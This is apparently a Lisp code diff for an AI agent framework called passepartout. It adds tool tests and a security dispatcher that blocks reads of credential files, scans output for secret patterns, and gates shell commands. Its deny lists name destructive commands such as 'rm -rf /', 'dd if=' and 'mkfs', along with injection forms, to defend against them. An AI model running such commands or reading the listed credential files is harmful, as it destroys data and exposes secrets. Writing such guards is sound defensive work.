+(test test-org-modify-file-not-found + "org-modify-file returns error when text not in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "file.org" dir))) + (tools-write-file file "some content") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "not-in-file" :new-text "anything"))) + (is (eq (getf result :status) :error)) + (is (search "not found" (getf result :message)))) + (tools-cleanup))) + +(test test-org-modify-file-missing-params + "org-modify-file returns error without required params." + (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) + (is (eq (getf result :status) :error)))) +#+end_src* v0.8.0 — Modified Files Tracking +#+begin_src lisp +(defvar *modified-files-this-turn* nil + "List of plists recording file modifications in the current turn.") + +(defun tool-register-modified (filepath &key old-content new-content) + "Record a file modification. Returns the record plist." + (labels ((count-lines (s) + (+ (count #\Newline s) + ;; Also count escaped \\n in string literals (used in tests) + (let ((n 0) (i 0)) + (loop while (setf i (search "\\n" s :start2 i)) + do (incf n) (incf i)) + n)))) + (let* ((lines-added (if (and new-content old-content) + (max 0 (- (count-lines new-content) + (count-lines old-content))) + 0)) + (lines-removed (if (and new-content old-content) + (max 0 (- (count-lines old-content) + (count-lines new-content))) + 0)) + (rec (list :filepath filepath + :timestamp (get-universal-time) + :lines-added lines-added + :lines-removed lines-removed))) + (push rec *modified-files-this-turn*) + rec))) + +(defun tool-modified-files-summary () + "Returns the list of modified-file records and clears the list." + (prog1 (nreverse *modified-files-this-turn*) + (setf *modified-files-this-turn* nil))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-tools-tests + (:use :cl :fiveam :passepartout) + (:export #:programming-tools-suite)) + +(in-package :passepartout-programming-tools-tests) + +(def-suite programming-tools-suite :description "Verification of programming cognitive tools") +(in-suite programming-tools-suite) + +(defun tools-tmpdir () + (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list d)) + d)) + +(defun tools-cleanup () + (let ((d (tools-tmpdir))) + (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) + +(defun tools-write-file (filepath content) + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(defun call-tool (tool-name &rest args) + (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + (unless tool (error "Tool ~a not found" tool-name)) + (funcall (cognitive-tool-body tool) args))) + +;; search-files +(test test-search-files-finds-matches + "Contract 1: search-files finds lines matching a regex pattern." + (let* ((dir (tools-tmpdir)) + (file-a (merge-pathnames "src-a.lisp" dir)) + (file-b (merge-pathnames "src-b.lisp" dir))) + (tools-write-file file-a "(defun foo () 'hello)") + (tools-write-file file-b "(defun bar () 'world)") + (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) + (is (eq (getf result :status) :success)) + (is (search "src-a.lisp:1:" (getf result :content))) + (is (search "src-b.lisp:1:" (getf result :content)))) + (tools-cleanup))) + +(test test-search-files-missing-params + "search-files returns error when required params are missing." + (let ((result (call-tool 'search-files :pattern "x"))) + (is (eq (getf result :status) :error)))) + +;; find-files +(test test-find-files-by-extension + "Contract 5: find-files returns files matching a glob." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "a.lisp" dir) "test") + (tools-write-file (merge-pathnames "b.lisp" dir) "test") + (tools-write-file (merge-pathnames "c.org" dir) "test") + (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "a.lisp" (getf result :content))) + (is (search "b.lisp" (getf result :content))) + (is (not (search "c.org" (getf result :content))))) + (tools-cleanup))) + +(test test-find-files-missing-params + "find-files returns error without required params." + (let ((result (call-tool 'find-files :pattern "*.lisp"))) + (is (eq (getf result :status) :error)))) + +;; read-file +(test test-read-file-full + "Contract 6: read-file returns full file contents." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "readme.txt" dir))) + (tools-write-file file (format nil "line one~%line two~%line three")) + (let ((result (call-tool 'read-file :filepath (namestring file)))) + (is (eq (getf result :status) :success)) + (is (search "line one" (getf result :content)))) + (tools-cleanup))) + +(test test-read-file-missing-params + "read-file returns error without :filepath." + (let ((result (call-tool 'read-file))) + (is (eq (getf result :status) :error)))) + +;; write-file +(test test-write-file-creates + "Contract 7: write-file creates file with content." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "output.txt" dir))) + (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) + (is (eq (getf result :status) :success)) + (is (search "11 bytes" (getf result :content)))) + (is (string-equal "hello world" (uiop:read-file-string file))) + (tools-cleanup))) + +(test test-write-file-missing-params + "write-file returns error without required params." + (let ((result (call-tool 'write-file :content "x"))) + (is (eq (getf result :status) :error)))) + +;; list-directory +(test test-list-directory-all + "Contract 8: list-directory returns all entries." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "alpha.txt" dir) "x") + (tools-write-file (merge-pathnames "beta.txt" dir) "y") + (let ((result (call-tool 'list-directory :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "alpha.txt" (getf result :content))) + (is (search "beta.txt" (getf result :content)))) + (tools-cleanup))) + +(test test-list-directory-missing-params + "list-directory returns error without :path." + (let ((result (call-tool 'list-directory))) + (is (eq (getf result :status) :error)))) + +;; run-shell +(test test-run-shell-echo + "Contract 9: run-shell executes a command and returns output." + (let ((result (call-tool 'run-shell :cmd "echo hello"))) + (is (eq (getf result :status) :success)) + (is (search "hello" (getf result :content))))) + +(test test-run-shell-missing-params + "run-shell returns error without :cmd." + (let ((result (call-tool 'run-shell))) + (is (eq (getf result :status) :error)))) + +;; eval-form +(test test-eval-form-arithmetic + "Contract 10: eval-form evaluates a Lisp expression." + (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (search "3" (getf result :content))))) + +(test test-eval-form-missing-params + "eval-form returns error without :code." + (let ((result (call-tool 'eval-form))) + (is (eq (getf result :status) :error)))) + +;; org-modify-file +(test test-org-modify-file-replace + "Contract 13: org-modify-file replaces exact text in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "doc.org" dir))) + (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "TODO" :new-text "WAITING"))) + (is (eq (getf result :status) :success)) + (is (search "WAITING" (uiop:read-file-string file)))) + (tools-cleanup))) + +(test test-org-modify-file-not-found + "org-modify-file returns error when text not in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "file.org" dir))) + (tools-write-file file "some content") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "not-in-file" :new-text "anything"))) + (is (eq (getf result :status) :error)) + (is (search "not found" (getf result :message)))) + (tools-cleanup))) + +(test test-org-modify-file-missing-params + "org-modify-file returns error without required params." + (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) + (is (eq (getf result :status) :error)))) +#+end_src* v0.8.0 — Modified Files Tracking +#+begin_src lisp +(defvar *modified-files-this-turn* nil + "List of plists recording file modifications in the current turn.") + +(defun tool-register-modified (filepath &key old-content new-content) + "Record a file modification. Returns the record plist." + (labels ((count-lines (s) + (+ (count #\Newline s) + ;; Also count escaped \\n in string literals (used in tests) + (let ((n 0) (i 0)) + (loop while (setf i (search "\\n" s :start2 i)) + do (incf n) (incf i)) + n)))) + (let* ((lines-added (if (and new-content old-content) + (max 0 (- (count-lines new-content) + (count-lines old-content))) + 0)) + (lines-removed (if (and new-content old-content) + (max 0 (- (count-lines old-content) + (count-lines new-content))) + 0)) + (rec (list :filepath filepath + :timestamp (get-universal-time) + :lines-added lines-added + :lines-removed lines-removed))) + (push rec *modified-files-this-turn*) + rec))) + +(defun tool-modified-files-summary () + "Returns the list of modified-file records and clears the list." + (prog1 (nreverse *modified-files-this-turn*) + (setf *modified-files-this-turn* nil))) + +(in-package :passepartout-programming-tools-tests) + +(test test-modified-files-track-write + "Contract 14: tool-register-modified appends to *modified-files-this-turn*." + (setf passepartout::*modified-files-this-turn* nil) + (let ((rec (passepartout::tool-register-modified "/tmp/test.org" + :old-content "old" :new-content "line1 +line2"))) + (is (string= "/tmp/test.org" (getf rec :filepath))) + (is (= 0 (getf rec :lines-removed))) + (is (= 1 (getf rec :lines-added))) + (is (= 1 (length passepartout::*modified-files-this-turn*))))) + +(test test-modified-files-summary + "Contract 15: tool-modified-files-summary returns list and clears." + (setf passepartout::*modified-files-this-turn* nil) + (passepartout::tool-register-modified "/tmp/a.org") + (passepartout::tool-register-modified "/tmp/b.org") + (let ((files (passepartout::tool-modified-files-summary))) + (is (= 2 (length files))) + (is (null passepartout::*modified-files-this-turn*)) + (is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=)))) + +(test test-modified-files-empty + "Contract 15: tool-modified-files-summary returns nil when no files modified." + (setf passepartout::*modified-files-this-turn* nil) + (is (null (passepartout::tool-modified-files-summary)))) diff --git a/lisp/security-dispatcher.lisp b/lisp/security-dispatcher.lisp new file mode 100644 index 0000000..732c4a9 --- /dev/null +++ b/lisp/security-dispatcher.lisp @@ -0,0 +1,956 @@ +(in-package :passepartout) + +(defvar *dispatcher-network-whitelist* + '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com") + "Domains the Dispatcher considers safe for outbound connections.") + +(defvar *dispatcher-privacy-tags* + (let ((env (uiop:getenv "PRIVACY_FILTER_TAGS"))) + (if env + (uiop:split-string env :separator '(#\,)) + '("@personal"))) + "Tags marking content as private. Set via PRIVACY_FILTER_TAGS.") + +(defvar *dispatcher-protected-paths* + '(".env" ".env.example" ".env.local" ".env.production" + "*credentials*" "*cred*" + "*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*" + "*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp" + "secring.*" "pubring.*" "private-keys-v1.d/*" + "token*" "*secret*" "*token*" + ".netrc" ".git-credentials" "auth.json" + ".aws/credentials" ".aws/config" + ".kube/config" "kubeconfig" + "*.cert" "*.crt" "*.csr" + "*password*" "*passwd*") + "Path patterns blocked from file reads. +Core file protection (core-*.org, core-*.lisp) handled separately by +dispatcher-check-core-path for self-build safety.") + +(defvar *dispatcher-exposure-patterns* + '((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----") + (:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----") + (:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----") + (:openai-key "sk-[A-Za-z0-9-]{20,}") + (:google-key "AIza[0-9A-Za-z_-]{35}") + (:github-token "gh[pousr]_[A-Za-z0-9]{36,}") + (:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}") + (:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}") + (:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}")) + "Named regex patterns for secret exposure detection.") + +(defvar *dispatcher-shell-timeout* 30 + "Maximum seconds for a shell command before timeout.") + +(defvar *dispatcher-shell-max-output* 100000 + "Maximum characters of shell output to capture.") + +(defvar *dispatcher-shell-blocked* + '((:destructive-rm "\\brm\\s+-rf\\s+/" :severity :catastrophic) + (:destructive-dd "\\bdd\\s+if=" :severity :catastrophic) + (:destructive-mkfs "\\bmkfs\\." :severity :catastrophic) + (:disk-wipe "\\bshred\\s+/dev/" :severity :catastrophic) + (:disk-wipe-b "\\bwipefs\\s+/dev/" :severity :catastrophic) + (:injection-backtick "`[^`]+`" :severity :dangerous) + (:injection-subshell "\\$\\([^)]+\\)" :severity :dangerous)) + "Destructive and injection patterns blocked in shell commands. +Each entry is (name regex :severity tier) where tier is one of: +:catastrophic, :dangerous, :moderate, :harmless.") + +(defun wildcard-match (pattern path) + "Matches PATH against PATTERN where * matches any characters." + (let ((regex (cl-ppcre:regex-replace-all + "\\*" (cl-ppcre:quote-meta-chars pattern) ".*"))) + (cl-ppcre:scan regex path))) + +(defun dispatcher-check-core-path (filepath) + "Returns T if FILEPATH matches a core-* self-build protected pattern." + (when (and filepath (stringp filepath)) + (or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-")) + (cl-ppcre:scan "core-.*\\.(org|lisp)" filepath)))) + +(defun dispatcher-check-secret-path (filepath) + "Returns the matching pattern if FILEPATH matches a protected path, nil otherwise." + (when (and filepath (stringp filepath)) + (some (lambda (pattern) + (when (wildcard-match pattern filepath) + pattern)) + *dispatcher-protected-paths*))) + +(defun dispatcher-exposure-scan (text) + "Scans TEXT for patterns matching known secret formats. +Returns a list of matched category keywords." + (when (and text (stringp text) (> (length text) 0)) + (let ((matches nil)) + (dolist (entry *dispatcher-exposure-patterns*) + (let ((name (first entry)) + (regex (second entry))) + (when (cl-ppcre:scan regex text) + (push name matches)))) + matches))) + +(defun dispatcher-vault-scan (text) + "Scans TEXT for known secrets from the vault." + (when (and text (stringp text)) + (let ((found-secret nil)) + (maphash (lambda (key val) + (when (and val (stringp val) (> (length val) 5)) + (when (search val text) + (setf found-secret key)))) + *vault-memory*) + found-secret))) + +(defun dispatcher-check-privacy-tags (tags-list) + "Returns T if any tag in TAGS-LIST matches a privacy filter tag." + (when (and tags-list (listp tags-list)) + (some (lambda (tag) + (some (lambda (private) + (or (string-equal tag private) + (search private tag :test #'string-equal))) + *dispatcher-privacy-tags*)) + tags-list))) + +(defvar *tag-categories* nil + "Alist of (tag . severity) from TAG_CATEGORIES env var. +Severity: :block (filter), :warn (log+include), :log (silent record).") + +(defvar *tag-trigger-count* (make-hash-table :test 'equal) + "Per-session count of how many times each tag was triggered.") + +(defun tag-trigger-record (tag) + "Increment the trigger count for TAG." + (incf (gethash (string-downcase tag) *tag-trigger-count* 0))) + +(defun tag-categories-load () + "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist." + (let* ((raw (or (uiop:getenv "TAG_CATEGORIES") + (uiop:getenv "PRIVACY_FILTER_TAGS")))) + (setf *tag-categories* + (when raw + (mapcar (lambda (entry) + (let ((parts (uiop:split-string entry :separator '(#\:)))) + (if (>= (length parts) 2) + (cons (first parts) (intern (string-upcase (second parts)) :keyword)) + (cons entry :block)))) + (uiop:split-string raw :separator '(#\, #\;))))))) + +(defun tag-category-severity (tag) + "Return the severity keyword for TAG, or NIL if not found." + (cdr (assoc tag *tag-categories* :test #'string-equal))) + +(defun dispatcher-privacy-severity (tags-list) + "Return the highest-severity tag match: :block > :warn > :log, or nil. +Records trigger counts for matched tags." + (when (and tags-list (listp tags-list)) + (let ((highest nil)) + (dolist (tag tags-list) + (let ((sev (tag-category-severity tag))) + (when sev + (tag-trigger-record tag)) + (when (or (eq sev :block) + (and (eq sev :warn) (not (eq highest :block))) + (and (eq sev :log) (null highest))) + (setf highest sev)))) + highest))) + +(tag-categories-load) + +(defun dispatcher-check-text-for-privacy (text) + "Scans TEXT for leaked privacy-tagged content." + (when (and text (stringp text)) + (let ((lower (string-downcase text))) + (some (lambda (tag) + (search (string-downcase tag) lower)) + *dispatcher-privacy-tags*)))) + +(defun org-blocks-extract (content) + "Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string." + (when (and content (stringp content)) + (let ((lines (uiop:split-string content :separator '(#\Newline))) + (in-block nil) + (code "")) + (dolist (line lines) + (let ((clean (string-trim '(#\Space #\Tab) line))) + (cond + ((search "#+begin_src lisp" clean) + (setf in-block t)) + ((search "#+end_src" clean) + (setf in-block nil)) + (in-block + (setf code (concatenate 'string code line (string #\Newline))))))) + (when (> (length code) 0) code)))) + +(defun dispatcher-check-lisp-valid (filepath content) + "Validates Lisp syntax when writing .lisp files or Org files with lisp blocks. +Returns the validation result plist or nil if not applicable." + (when (and content (stringp content) (> (length content) 0)) + (let ((to-validate + (cond + ((uiop:string-suffix-p filepath ".lisp") content) + ((uiop:string-suffix-p filepath ".org") (org-blocks-extract content)) + (t nil)))) + (when to-validate + (multiple-value-bind (valid-p err) (ignore-errors + (let ((*read-eval* nil)) + (with-input-from-string (s (format nil "(progn ~a)" to-validate)) + (loop for form = (read s nil :eof) until (eq form :eof))) + (values t nil))) + (unless valid-p + (list :status :error :reason err))))))) + +(defun org-has-defuns-p (content) + "Returns T if the Org content contains any #+begin_src lisp blocks with defuns." + (when (and content (stringp content)) + (search "defun " content :test #'char-equal))) + +(defun dispatcher-check-repl-verified (action filepath content) + "Warns if writing a defun to an Org file without :repl-verified metadata." + (let ((repl-verified (getf action :repl-verified))) + (when (and filepath + (uiop:string-suffix-p filepath ".org") + (org-has-defuns-p content) + (not repl-verified)) + (list :type :LOG + :payload (list :level :warn + :text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath)))))) + +(defun dispatcher-check-shell-safety (cmd) + "Checks a shell command for destructive patterns and injection vectors. +Returns (:matched :severity ) when dangerous patterns found, +or nil if safe. Severity is the highest tier among matched patterns: +:catastrophic > :dangerous > :moderate > :harmless." + (when (and cmd (stringp cmd) (> (length cmd) 0)) + (let ((matches nil) + (severity :harmless)) + (dolist (entry *dispatcher-shell-blocked*) + (let ((name (first entry)) + (regex (second entry)) + (tier (getf entry :severity))) + (when (cl-ppcre:scan regex cmd) + (push name matches) + (setf severity (dispatcher-severity-max severity (or tier :moderate)))))) + (when matches + (list :matched matches :severity severity))))) + +(defvar *dispatcher-severity-order* + (list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3) + "Severity tier ordering for comparison. Higher = more severe.") + +(defun dispatcher-severity-max (a b) + "Returns the higher of two severity tiers." + (let ((ra (or (getf *dispatcher-severity-order* a) 0)) + (rb (or (getf *dispatcher-severity-order* b) 0))) + (if (>= rb ra) b a))) + +(defun dispatcher-check-network-exfil (cmd) + "Detects if CMD attempts to contact an unwhitelisted external host." + (when (and cmd (stringp cmd)) + (multiple-value-bind (match regs) + (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd) + (declare (ignore match)) + (when regs + (let ((domain (aref regs 1))) + (not (some (lambda (safe) (search safe domain)) + *dispatcher-network-whitelist*))))))) + +(defun dispatcher-check (action context) + "Security gate for high-risk actions. +Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path, +2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, +6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval." + (declare (ignore context)) + (let* ((read-only-auto-pass + (let ((tool-name (proto-get (proto-get action :payload) :tool))) + (when (and tool-name (tool-read-only-p tool-name)) + (return-from dispatcher-check action)))) + (target (proto-get action :target)) + (payload (proto-get action :payload)) + (text (or (proto-get payload :text) (proto-get action :text))) + (filepath (or (proto-get payload :filepath) + (when (equal (proto-get payload :tool) "read-file") + (proto-get (proto-get payload :args) :filepath)) + (when (equal (proto-get payload :tool) "write-file") + (proto-get (proto-get payload :args) :filepath)))) + (content (when filepath (proto-get (proto-get payload :args) :content))) + (cmd (or (proto-get payload :cmd) + (when (and (eq target :tool) (equal (proto-get payload :tool) "shell")) + (proto-get (proto-get payload :args) :cmd)))) + (approved (proto-get action :approved)) + (tags (proto-get payload :tags)) + (lisp-valid (when (and filepath content (not approved)) + (dispatcher-check-lisp-valid filepath content))) + (repl-lint (when (and filepath content (not approved)) + (dispatcher-check-repl-verified action filepath content)))) + (cond + (approved action) + + ;; Vector 0: REPL verification lint (warn, don't block) + (repl-lint + (log-message "DISPATCHER: ~a" (proto-get repl-lint :text)) + action) + + ;; Vector 1: Lisp syntax validation (block bad lisp writes) + ((and lisp-valid (eq (getf lisp-valid :status) :error)) + (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason)) + (dispatcher-block-record :lisp-validation) + (list :type :LOG + :payload (list :level :error + :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason))))) + + ;; Vector 2: File read to a protected secret path + ((and filepath (dispatcher-check-secret-path filepath)) + (let ((matched (dispatcher-check-secret-path filepath))) + (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched) + (dispatcher-block-record :secret-path) + (list :type :LOG + :payload (list :level :error + :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath))))) + + ;; Vector 2b: Self-build safety — core file writes require HITL approval + ((and filepath content + (string-equal (uiop:getenv "SELF_BUILD_MODE") "true") + (dispatcher-check-core-path filepath)) + (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath) + (dispatcher-block-record :self-build-core) + (list :type :EVENT :level :approval-required + :payload (list :sensor :approval-required :action action + :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath)))) + + ;; Vector 3: Content contains secret patterns + ((and text (dispatcher-exposure-scan text)) + (let ((matched (dispatcher-exposure-scan text))) + (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched) + (dispatcher-block-record :secret-content) + (list :type :LOG + :payload (list :level :error + :text "Action blocked: Content contains potential secret exposure.")))) + + ;; Vector 4: Content contains vault secrets + ((and text (dispatcher-vault-scan text)) + (let ((secret-name (dispatcher-vault-scan text))) + (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name) + (dispatcher-block-record :vault-secrets) + (list :type :LOG + :payload (list :level :error + :text (format nil "Action blocked: Potential exposure of '~a'" secret-name))))) + + ;; Vector 5: Privacy-tagged content (severity tiers) + ((and tags (fboundp 'dispatcher-privacy-severity)) + (let ((severity (dispatcher-privacy-severity tags))) + (cond + ((eq severity :block) + (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags) + (dispatcher-block-record :privacy-tags) + (list :type :LOG + :payload (list :level :error + :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags)))) + ((eq severity :warn) + (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags) + action) + ((eq severity :log) + (log-message "PRIVACY: @tag ~a (logged)" tags) + action)))) + + ;; Vector 6: Text leaks privacy tag names + ((and text (dispatcher-check-text-for-privacy text)) + (log-message "PRIVACY WARNING: Text may contain leaked private content") + (dispatcher-block-record :privacy-text) + (list :type :LOG + :payload (list :level :warn + :text "Action blocked: Text may reference private content."))) + + ;; Vector 7: Shell destructive/injection patterns + ((and cmd (dispatcher-check-shell-safety cmd)) + (let ((matched (dispatcher-check-shell-safety cmd))) + (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched) + (dispatcher-block-record :shell-safety) + (list :type :LOG + :payload (list :level :error + :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched))))) + + ;; Vector 8: Network exfiltration + ((and (or (eq target :shell) + (and (eq target :tool) (equal (proto-get payload :tool) "shell"))) + (dispatcher-check-network-exfil cmd)) + (log-message "SECURITY WARNING: External network call detected. Queuing for approval.") + (dispatcher-block-record :network-exfil) + (list :type :EVENT :level :approval-required + :payload (list :sensor :approval-required :action action))) + + ;; Vector 8b: High-impact action approval + ((or (member target '(:shell)) + (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=)) + (and (eq target :emacs) (eq (proto-get payload :action) :eval)) + (and (eq target :system) (eq (proto-get payload :action) :eval))) + (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target)) + (dispatcher-block-record :high-impact-approval) + (list :type :EVENT :payload (list :sensor :approval-required :action action))) + (t action)))) + +(defun dispatcher-approvals-process () + "Scans for APPROVED flight plans and re-injects them." + (let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED")) + (found-any nil)) + (dolist (node approved-nodes) + (let* ((attrs (memory-object-attributes node)) + (tags (getf attrs :TAGS)) + (action-str (getf attrs :ACTION))) + (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str) + (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node)) + (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str))))) + (when action + (setf (getf action :approved) t) + (stimulus-inject (list :type :EVENT + :payload (list :sensor :approval-required + :action action + :approved t) + :meta (list :source :system))) + (setf (getf (memory-object-attributes node) :TODO) "DONE") + (setq found-any t)))))) + found-any)) + +(defun dispatcher-flight-plan-create (blocked-action) + "Creates a Flight Plan node for manual approval in Emacs." + (let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid))))) + (log-message "DISPATCHER: Creating flight plan node '~a'..." id) + (list :type :REQUEST :target :emacs + :payload (list :action :insert-node :id id + :attributes (list :TITLE "Flight Plan: High-Risk Action" + :TODO "PLAN" :TAGS '("FLIGHT_PLAN") + :ACTION (format nil "~s" blocked-action)))))) + +(defvar *hitl-pending* (make-hash-table :test 'equal) + "Maps correlation token → blocked-action plist for pending HITL approvals.") + +(defun hitl-create (blocked-action) + "Saves a blocked action for HITL approval. Returns a plist with +:token (the correlation ID) and :message (user-facing text)." + (let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8)))) + (setf (gethash token *hitl-pending*) blocked-action) + (log-message "HITL: Created pending approval ~a" token) + (list :token token + :message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token)))) + +(defun hitl-approve (token) + "Approves a pending HITL action by token. Re-injects with :approved t. +Returns T if found and approved, nil if token is invalid." + (let ((action (gethash token *hitl-pending*))) + (if action + (progn + (remhash token *hitl-pending*) + (setf (getf action :approved) t) + (stimulus-inject (list :type :EVENT + :payload (list :sensor :approval-required + :action action + :approved t) + :meta (list :source :system))) + (log-message "HITL: Approved ~a — re-injected" token) + t) + (progn + (log-message "HITL: Token ~a not found in pending" token) + nil)))) + +(defun hitl-deny (token) + "Denies a pending HITL action by token. Removes it from the pending store. +Returns T if found, nil if token is invalid." + (if (gethash token *hitl-pending*) + (progn + (remhash token *hitl-pending*) + (log-message "HITL: Denied ~a" token) + t) + (progn + (log-message "HITL: Token ~a not found in pending" token) + nil))) + +(defun hitl-handle-message (text &optional source) + "Checks if TEXT is a HITL approval or denial command. +If it matches, processes the command and returns T. +Otherwise returns nil (text should be handled as normal input). +Recognized formats: + /approve HITL-abc123 + /deny HITL-abc123 + approve HITL-abc123 + deny HITL-abc123" + (let ((text (string-trim '(#\Space) (or text "")))) + (when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text)) + (uiop:string-prefix-p (string-downcase "approve") (string-downcase text))) + (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab))) + (token (when (> (length parts) 1) (second parts)))) + (when (and token (hitl-approve token)) + (log-message "HITL: Approved via ~a — ~a" (or source :unknown) token) + (return-from hitl-handle-message t)))) + (when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text)) + (uiop:string-prefix-p (string-downcase "deny") (string-downcase text))) + (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab))) + (token (when (> (length parts) 1) (second parts)))) + (when (and token (hitl-deny token)) + (log-message "HITL: Denied via ~a — ~a" (or source :unknown) token) + (return-from hitl-handle-message t)))) + nil)) + +(defun dispatcher-gate (action context) + "Main deterministic gate for the Security Dispatcher skill." + (let* ((payload (getf context :payload)) + (sensor (getf payload :sensor))) + (case sensor + (:approval-required + (dispatcher-flight-plan-create (getf payload :action))) + (:heartbeat + (dispatcher-approvals-process) + (if action (dispatcher-check action context) action)) + (otherwise + (if action (dispatcher-check action context) action))))) + +(defskill :passepartout-security-dispatcher + :priority 150 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic #'dispatcher-gate) + +(defvar *dispatcher-block-counts* (make-hash-table :test 'equal) + "Per-gate block count: maps gate keyword → integer.") + +(defun dispatcher-block-record (gate-name) + "Records a block decision for GATE-NAME. Returns the updated count." + (let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0)))) + (setf (gethash gate-name *dispatcher-block-counts*) count) + count)) + +(defun dispatcher-block-counts-summary () + "Returns plist (:total :by-gate (( . ) ...))." + (let* ((by-gate + (loop for k being the hash-keys of *dispatcher-block-counts* + for v = (gethash k *dispatcher-block-counts*) + collect (cons k v))) + (total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0)) + (sorted (sort (copy-list by-gate) #'> :key #'cdr))) + (list :total total :by-gate sorted))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-self-build-core-protection + "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." + ;; Core paths are recognized + (is (passepartout::dispatcher-check-core-path "core-reason.org")) + (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) + (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) + ;; With SELF_BUILD_MODE=true, core writes produce approval-required + (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let ((result 